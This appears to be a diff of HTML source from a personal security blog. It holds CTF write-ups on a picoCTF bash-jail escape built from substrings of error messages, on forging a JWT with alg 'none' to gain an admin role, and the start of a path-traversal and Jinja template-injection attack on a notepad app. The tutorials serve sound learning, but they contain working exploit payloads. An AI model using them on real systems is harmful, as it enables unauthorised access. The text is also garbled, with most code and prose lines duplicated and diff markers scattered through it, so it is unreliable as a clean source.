string <code>1/0: division by 0 (error token is "0")</code> as the command to be run.</p><p>We can check this by asking bash for the most recent command using the special
variable <code>$_</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo $_
variable <code>$_</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo $_
</span></span></code></pre></div><p>Which gives us &mldr; nothing? Well, that&rsquo;s because the error is being printed on
standard error <code>stderr</code> instead of the standard output <code>stdout</code>.</p><p>To pass the error as the next command to be evaluated, we need to redirect
<code>stderr</code> at file descriptor 2 to <code>stdout</code> at file descriptor 1 with a <code>2>&amp;1</code>
expression.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span> <span style=color:#f92672>((</span>1/0<span style=color:#66d9ef>)</span><span style=color:#e6db74>) 2&gt;&amp;1 )&#34;</span>
</span></span></code></pre></div><p>Now looking up the last command returns the error message.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo $_
expression.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span> <span style=color:#f92672>((</span>1/0<span style=color:#66d9ef>)</span><span style=color:#e6db74>) 2&gt;&amp;1 )&#34;</span>
</span></span></code></pre></div><p>Now looking up the last command returns the error message.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo $_
</span></span></code></pre></div><pre tabindex=0><code>bash: ((: 1/0: division by 0 (error token is &#34;0&#34;)
</code></pre><h2 id=triggering-a-text-editor>Triggering a text editor</h2><p>We can follow up with a substring from this error. The syntax for picking a substring in bash is
a bit different from other languages. It is of the form</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>variable:offset:length<span style=color:#e6db74>}</span>
a bit different from other languages. It is of the form</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>variable:offset:length<span style=color:#e6db74>}</span>
</span></span></code></pre></div><ul><li>The <code>variable</code>, in our case <code>_</code>, is what stores the original string</li><li><code>offset</code> is where the substring begins</li><li><code>length</code> is how far the substring goes from the start</li></ul><p>In fact, the di<strong>vi</strong>sion error message contains the substring <code>vi</code> which we could use to spin up the <code>vi</code> text editor.
To get that substring, we find its index. Let&rsquo;s use the index method in python for this.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#e6db74>&#39;bash: ((: 1/0: division by 0 (error token is &#34;0&#34;)&#39;</span><span style=color:#f92672>.</span>index(<span style=color:#e6db74>&#39;vi&#39;</span>)
</span></span></code></pre></div><p>This gives us 17. Knowing that <code>vi</code> is 2 letters, we can build the following payload.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>_:17:2<span style=color:#e6db74>}</span>
To get that substring, we find its index. Let&rsquo;s use the index method in python for this.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#e6db74>&#39;bash: ((: 1/0: division by 0 (error token is &#34;0&#34;)&#39;</span><span style=color:#f92672>.</span>index(<span style=color:#e6db74>&#39;vi&#39;</span>)
</span></span></code></pre></div><p>This gives us 17. Knowing that <code>vi</code> is 2 letters, we can build the following payload.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>_:17:2<span style=color:#e6db74>}</span>
</span></span></code></pre></div><p>Since this payload depends on the error before it, we must detonate that first.
We will run the following on the picoCTF machine:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$((</span><span style=color:#f92672>(</span><span style=color:#ae81ff>1</span><span style=color:#f92672>/</span><span style=color:#ae81ff>0</span><span style=color:#66d9ef>))</span><span style=color:#e6db74> 2&gt;&amp;1)&#34;</span>
We will run the following on the picoCTF machine:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$((</span><span style=color:#f92672>(</span><span style=color:#ae81ff>1</span><span style=color:#f92672>/</span><span style=color:#ae81ff>0</span><span style=color:#66d9ef>))</span><span style=color:#e6db74> 2&gt;&amp;1)&#34;</span>
</span></span><span style=display:flex><span><span style=color:#e6db74>${</span>_:17:2<span style=color:#e6db74>}</span>
</span></span></code></pre></div><pre tabindex=0><code>bash: bash: ((: 1/0: division by 0 (error token is &#34;0&#34;): No such file or directory
bash: vi: command not found
@@ -62,7 +62,7 @@ dot command.</p><pre tabindex=0><code>&#34;$(. 1 2&gt;&amp;1)&#34;
</code></pre><pre tabindex=0><code>bash: 1: No such file or directory
</code></pre><h2 id=building-gadgets>Building gadgets</h2><p>We can use the same substring technique as in the previous section to extract
characters from the error message. To automate this, we create a small python
function.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>generate</span>(haystack: str, to_build: str):
function.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>generate</span>(haystack: str, to_build: str):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>join(
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;${{_:</span><span style=color:#e6db74>{}</span><span style=color:#e6db74>:1}}&#34;</span><span style=color:#f92672>.</span>format(
</span></span><span style=display:flex><span> haystack<span style=color:#f92672>.</span>index(needle)
@@ -70,17 +70,17 @@ function.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> needle <span style=color:#f92672>in</span> to_build
</span></span><span style=display:flex><span> )
</span></span></code></pre></div><ul><li><code>haystack</code> refers to the error message wherein we look for the letters</li><li><code>needle</code> represents each letter that come together <code>to_build</code> the command we want to issue.</li></ul><p>The outputs of such small functions that work together to build a larger exploit
are call <em>&ldquo;gadgets&rdquo;</em>.</p><h2 id=chaining-gadgets>Chaining gadgets</h2><p>We can call the function like the following to build the payload for calling <code>ls</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>msg <span style=color:#f92672>=</span> <span style=color:#e6db74>&#39;bash: 1: No such file or directory&#39;</span>
are call <em>&ldquo;gadgets&rdquo;</em>.</p><h2 id=chaining-gadgets>Chaining gadgets</h2><p>We can call the function like the following to build the payload for calling <code>ls</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>msg <span style=color:#f92672>=</span> <span style=color:#e6db74>&#39;bash: 1: No such file or directory&#39;</span>
</span></span><span style=display:flex><span>generate(msg, <span style=color:#e6db74>&#39;ls&#39;</span>)
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>_:19:1<span style=color:#e6db74>}${</span>_:2:1<span style=color:#e6db74>}</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>_:19:1<span style=color:#e6db74>}${</span>_:2:1<span style=color:#e6db74>}</span>
</span></span></code></pre></div><p>Let&rsquo;s use this immediately after detonating the sourcing error.
Putting everything together, we&rsquo;ll run the following payload on the picoCTF machine.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span>. <span style=color:#ae81ff>1</span> 2&gt;&amp;1<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span>
Putting everything together, we&rsquo;ll run the following payload on the picoCTF machine.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span>. <span style=color:#ae81ff>1</span> 2&gt;&amp;1<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span>
</span></span><span style=display:flex><span><span style=color:#e6db74>${</span>_:19:1<span style=color:#e6db74>}${</span>_:2:1<span style=color:#e6db74>}</span>
</span></span></code></pre></div><pre tabindex=0><code>bash: bash: 1: No such file or directory: command not found
blargh on-calastran.txt
</code></pre><p>We find a directory called &ldquo;blargh&rdquo; and a text file called &ldquo;on-calastran.txt&rdquo; in
our working directory. Let&rsquo;s try to list the contents of the <code>blargh</code> directory
using <code>ls blargh</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>generate(msg, <span style=color:#e6db74>&#39;ls blargh&#39;</span>)
using <code>ls blargh</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>generate(msg, <span style=color:#e6db74>&#39;ls blargh&#39;</span>)
</span></span></code></pre></div><pre tabindex=0><code>Traceback (most recent call last):
File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt;
File &#34;&lt;stdin&gt;&#34;, line 2, in generate
@@ -89,15 +89,15 @@ ValueError: substring not found
</code></pre><p>Why are we unable to generate a payload for this command? If we look closely, we
see this happens because the letter &lsquo;g&rsquo; is not in the error message.</p><h2 id=globbing-to-the-rescue>Globbing to the rescue</h2><p>We can always resort to globbing with <code>*/**</code>, matching all paths at depth 2. We
simply need to append it to the previous payload since special characters work
just fine.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span>. <span style=color:#ae81ff>1</span> 2&gt;&amp;1<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span>
just fine.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span>. <span style=color:#ae81ff>1</span> 2&gt;&amp;1<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span>
</span></span><span style=display:flex><span><span style=color:#e6db74>${</span>_:19:1<span style=color:#e6db74>}${</span>_:2:1<span style=color:#e6db74>}</span> */**
</span></span></code></pre></div><p>Running this on the picoCTF machine tells us that the flag resides in the
&ldquo;blargh&rdquo; directory.</p><pre tabindex=0><code>blargh/flag.txt blargh/on-alpha-9.txt
</code></pre><p>We can view the contents of <code>flag.txt</code> using the <code>cat</code> utility.</p><p>To avoid matching the other <code>on-alpha-9.txt</code> file and printing its contents,
we can distinguish the <code>flag.txt</code> by its first letter &lsquo;f&rsquo; in the glob. Thus, to
view the flag, our target command will be <code>cat */f*</code>.</p><p>Let&rsquo;s generate the gadget for this round.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>print(generate(msg, <span style=color:#e6db74>&#39;cat&#39;</span>) <span style=color:#f92672>+</span> <span style=color:#e6db74>&#34; */&#34;</span> <span style=color:#f92672>+</span> generate(msg, <span style=color:#e6db74>&#34;f&#34;</span>) <span style=color:#f92672>+</span> <span style=color:#e6db74>&#34;*&#34;</span>)
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>_:14:1<span style=color:#e6db74>}${</span>_:1:1<span style=color:#e6db74>}${</span>_:30:1<span style=color:#e6db74>}</span> */<span style=color:#e6db74>${</span>_:17:1<span style=color:#e6db74>}</span>*
</span></span></code></pre></div><p>We will append this to the first gadget and run them together.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span>. <span style=color:#ae81ff>1</span> 2&gt;&amp;1<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span>
view the flag, our target command will be <code>cat */f*</code>.</p><p>Let&rsquo;s generate the gadget for this round.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>print(generate(msg, <span style=color:#e6db74>&#39;cat&#39;</span>) <span style=color:#f92672>+</span> <span style=color:#e6db74>&#34; */&#34;</span> <span style=color:#f92672>+</span> generate(msg, <span style=color:#e6db74>&#34;f&#34;</span>) <span style=color:#f92672>+</span> <span style=color:#e6db74>&#34;*&#34;</span>)
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>${</span>_:14:1<span style=color:#e6db74>}${</span>_:1:1<span style=color:#e6db74>}${</span>_:30:1<span style=color:#e6db74>}</span> */<span style=color:#e6db74>${</span>_:17:1<span style=color:#e6db74>}</span>*
</span></span></code></pre></div><p>We will append this to the first gadget and run them together.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#e6db74>&#34;</span><span style=color:#66d9ef>$(</span>. <span style=color:#ae81ff>1</span> 2&gt;&amp;1<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span>
</span></span><span style=display:flex><span><span style=color:#e6db74>${</span>_:14:1<span style=color:#e6db74>}${</span>_:1:1<span style=color:#e6db74>}${</span>_:30:1<span style=color:#e6db74>}</span> */<span style=color:#e6db74>${</span>_:17:1<span style=color:#e6db74>}</span>*
</span></span></code></pre></div><p>Running this on the picoCTF machine finally fetches us the flag!</p><pre tabindex=0><code>return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_b0d5e855}
</code></pre><p>I really enjoy coming back to these CTF challenges because they force you to

View File

@@ -7,7 +7,7 @@ It mentions some past affected companies, then asks us to identify and exploit t
We are provied with the username <code>test</code> and the password <code>Test123!</code> to look around.</p><p>The challenge is a dummy bank portal. On login, we see the message:</p><blockquote><p>Hello, You have logged in the testing page. There is nothing to see here.</p></blockquote><p>While logging in, if we check the network requests and responses,
we can see a cookie named <code>token</code> being set.</p><pre tabindex=0><code class=language-none data-lang=none>Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjQ1NTE4MjkzMTE5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDU1MTgyOTN9.dy45xnUb62Xnhqgo51JmGWRthAUGS-3jKwQ_RlDYCrw; path=/; httponly
</code></pre><p>On closer inspection, the cookie looks like a <abbr title="JSON Web Token">JWT</abbr>.
<a href=https://en.wikipedia.org/wiki/JSON_Web_Token>JWTs</a> comprise three base64 encoded parts, each separated by a dot:</p><ul><li>Header</li><li>Payload</li><li>Verification signature</li></ul><blockquote><p>We can make this educated guess since the value begins with <code>eyJ</code> which partially decodes to <code>{"</code></p></blockquote><p>Let&rsquo;s try to decode the first two parts. I&rsquo;ll use python for this.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> base64 <span style=color:#f92672>import</span> b64decode, b64encode
<a href=https://en.wikipedia.org/wiki/JSON_Web_Token>JWTs</a> comprise three base64 encoded parts, each separated by a dot:</p><ul><li>Header</li><li>Payload</li><li>Verification signature</li></ul><blockquote><p>We can make this educated guess since the value begins with <code>eyJ</code> which partially decodes to <code>{"</code></p></blockquote><p>Let&rsquo;s try to decode the first two parts. I&rsquo;ll use python for this.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> base64 <span style=color:#f92672>import</span> b64decode, b64encode
</span></span><span style=display:flex><span>cookie <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;eyJ0e...&#34;</span> <span style=color:#75715e># replace this with the entire cookie</span>
</span></span><span style=display:flex><span>header, payload <span style=color:#f92672>=</span> [b64decode(part)<span style=color:#f92672>.</span>decode() <span style=color:#66d9ef>for</span> part <span style=color:#f92672>in</span> cookie<span style=color:#f92672>.</span>split(<span style=color:#e6db74>&#39;.&#39;</span>)[:<span style=color:#ae81ff>2</span>]]
</span></span><span style=display:flex><span>print(header)
@@ -21,7 +21,7 @@ payload and a 256 bit secret. Other algorithms include <abbr title="RSA SHA256">
<abbr title="ECDSA SHA256">ES256</abbr>.</p><p>To forge an admin&rsquo;s cookie, we would need to modify the <code>"role"</code> field in the
payload to <code>"admin"</code>. Doing so tampers the verification signature and we would
need the 256 bit secret to generate a valid signature.</p><p>Luckily, we see that the verification algorithm is specified in the cookie&rsquo;s header.
We can modify the <code>"alg"</code> field of the header to <code>"none"</code> and omit the verification signature completely.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>forged <span style=color:#f92672>=</span> [
We can modify the <code>"alg"</code> field of the header to <code>"none"</code> and omit the verification signature completely.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>forged <span style=color:#f92672>=</span> [
</span></span><span style=display:flex><span> header<span style=color:#f92672>.</span>replace(<span style=color:#e6db74>&#34;HS256&#34;</span>, <span style=color:#e6db74>&#34;none&#34;</span>), <span style=color:#75715e># header</span>
</span></span><span style=display:flex><span> payload<span style=color:#f92672>.</span>replace(<span style=color:#e6db74>&#34;user&#34;</span>, <span style=color:#e6db74>&#34;admin&#34;</span>), <span style=color:#75715e># payload</span>
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;&#34;</span>, <span style=color:#75715e># empty signature</span>

View File

@@ -14,7 +14,7 @@ The application source directory tree looks like the following:
│ └── long_content.html
└── index.html
Let&rsquo;s inspect the app.py source.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Feb 21, 2022 | 3 minutes read</time></p><h1 data-pagefind-meta=title>Notepad</h1></hgroup><section class=post-content data-pagefind-body><p>At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.</p><p>The first thing I tried was triggering XSS (cross site scripting) with the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;<span style=color:#a6e22e>alert</span>(<span style=color:#ae81ff>1</span>)&lt;/<span style=color:#f92672>script</span>&gt;
After submitting the query, we are redirected to an html page containing the content of the post.</p><p>The first thing I tried was triggering XSS (cross site scripting) with the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;<span style=color:#a6e22e>alert</span>(<span style=color:#ae81ff>1</span>)&lt;/<span style=color:#f92672>script</span>&gt;
</span></span></code></pre></div><p>The application source directory tree looks like the following:</p><pre tabindex=0><code>.
├── app.py
├── Dockerfile
@@ -25,7 +25,7 @@ After submitting the query, we are redirected to an html page containing the con
│ ├── bad_content.html
│ └── long_content.html
└── index.html
</code></pre><p>Let&rsquo;s inspect the <code>app.py</code> source.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> werkzeug.urls <span style=color:#f92672>import</span> url_fix
</code></pre><p>Let&rsquo;s inspect the <code>app.py</code> source.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> werkzeug.urls <span style=color:#f92672>import</span> url_fix
</span></span><span style=display:flex><span><span style=color:#f92672>from</span> secrets <span style=color:#f92672>import</span> token_urlsafe
</span></span><span style=display:flex><span><span style=color:#f92672>from</span> flask <span style=color:#f92672>import</span> Flask, request, render_template, redirect, url_for
</span></span><span style=display:flex><span>
@@ -47,18 +47,18 @@ After submitting the query, we are redirected to an html page containing the con
</span></span><span style=display:flex><span> f<span style=color:#f92672>.</span>write(content)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> redirect(name)
</span></span></code></pre></div><p>Ok, so the application returns the <code>bad_content</code> message when it sees a slash or an underscore.
However, we can notice that an attacker has partial control over the error message template.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#a6e22e>@app.route</span>(<span style=color:#e6db74>&#34;/&#34;</span>)
However, we can notice that an attacker has partial control over the error message template.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#a6e22e>@app.route</span>(<span style=color:#e6db74>&#34;/&#34;</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>index</span>():
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> render_template(<span style=color:#e6db74>&#34;index.html&#34;</span>, error<span style=color:#f92672>=</span>request<span style=color:#f92672>.</span>args<span style=color:#f92672>.</span>get(<span style=color:#e6db74>&#34;error&#34;</span>))
</span></span></code></pre></div><p>The content we post gets uploaded to the static directory and the filename consists of the first 128 characters of the content, a hyphen and an 8 character url-safe random token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>name <span style=color:#f92672>=</span> <span style=color:#e6db74>f</span><span style=color:#e6db74>&#34;static/</span><span style=color:#e6db74>{</span>url_fix(content[:<span style=color:#ae81ff>128</span>])<span style=color:#e6db74>}</span><span style=color:#e6db74>-</span><span style=color:#e6db74>{</span>token_urlsafe(<span style=color:#ae81ff>8</span>)<span style=color:#e6db74>}</span><span style=color:#e6db74>.html&#34;</span>
</span></span></code></pre></div><p>The content we post gets uploaded to the static directory and the filename consists of the first 128 characters of the content, a hyphen and an 8 character url-safe random token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>name <span style=color:#f92672>=</span> <span style=color:#e6db74>f</span><span style=color:#e6db74>&#34;static/</span><span style=color:#e6db74>{</span>url_fix(content[:<span style=color:#ae81ff>128</span>])<span style=color:#e6db74>}</span><span style=color:#e6db74>-</span><span style=color:#e6db74>{</span>token_urlsafe(<span style=color:#ae81ff>8</span>)<span style=color:#e6db74>}</span><span style=color:#e6db74>.html&#34;</span>
</span></span></code></pre></div><p>So, we can upload a valid Jinja2 template to errors directory, then use the filename in the error parameter tp render it through Jinja.</p><p>We can use a backslash instead of a forward slash along with double periods (<code>..</code>) for path traversal. From the static directory we&rsquo;ll go:</p><table><thead><tr><th>path</th><th>explanation</th></tr></thead><tbody><tr><td><code>..</code></td><td>up to the root of the app</td></tr><tr><td><code>..\templates\</code></td><td>into templates</td></tr><tr><td><code>..\templates\errors\</code></td><td>then into errors</td></tr></tbody></table><p>We&rsquo;ll fill the remainder of the first 128 characters of the content to <code>A</code>s so that the filename does not get messed up.
